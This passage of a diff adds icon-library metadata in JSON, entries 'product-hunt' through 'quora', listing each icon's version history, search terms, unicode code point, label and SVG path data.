0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z" + } + }, + "free": [ + "solid" + ] + }, + "product-hunt": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f288", + "label": "Product Hunt", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861014, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z" + } + }, + "free": [ + "brands" + ] + }, + "project-diagram": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chart", + "graph", + "network", + "pert" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f542", + "label": "Project Diagram", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635651, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "pump-medical": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anti-bacterial", + "clean", + "covid-19", + "disinfect", + "hygiene", + "medical grade", + "sanitizer", + "soap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e06a", + "label": "Pump Medical", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635651, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z" + } + }, + "free": [ + "solid" + ] + }, + "pump-soap": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anti-bacterial", + "clean", + "covid-19", + "disinfect", + "hygiene", + "sanitizer", + "soap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e06b", + "label": "Pump Soap", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635652, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z" + } + }, + "free": [ + "solid" + ] + }, + "pushed": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e1", + "label": "Pushed", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861014, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 432 512\"><path d=\"M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "432", + "512" + ], + "width": 432, + "height": 512, + "path": "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z" + } + }, + "free": [ + "brands" + ] + }, + "puzzle-piece": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "add-on", + "addon", + "game", + "section" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f12e", + "label": "Puzzle Piece", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635652, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z" + } + }, + "free": [ + "solid" + ] + }, + "python": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e2", + "label": "Python", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722335, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z" + } + }, + "free": [ + "brands" + ] + }, + "qq": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d6", + "label": "QQ", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861014, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z" + } + }, + "free": [ + "brands" + ] + }, + "qrcode": { + "changes": [ + "1", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "barcode", + "info", + "information", + "scan" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f029", + "label": "qrcode", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635653, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z" + } + }, + "free": [ + "solid" + ] + }, + "question": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "help", + "information", + "support", + "unknown" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f128", + "label": "Question", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635653, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z" + } + }, + "free": [ + "solid" + ] + }, + "question-circle": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "help", + "information", + "support", + "unknown" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f059", + "label": "Question Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635653, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z" + }, + "regular": { + "last_modified": 1628088634958, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "quidditch": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [ + "ball", + "bludger", + "broom", + "golden snitch", + "harry potter", + "hogwarts", + "quaffle", + "sport", + "wizard" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f458", + "label": "Quidditch", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635654, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z" + } + }, + "free": [ + "solid" + ] + }, + "quinscape": { + "changes": [ + "5.0.5", + "5.7.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f459", + "label": "QuinScape", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775907, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z" + } + }, + "free": [ + "brands" + ] + }, + "quora": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2c4", + "label": "Quora", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861015, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 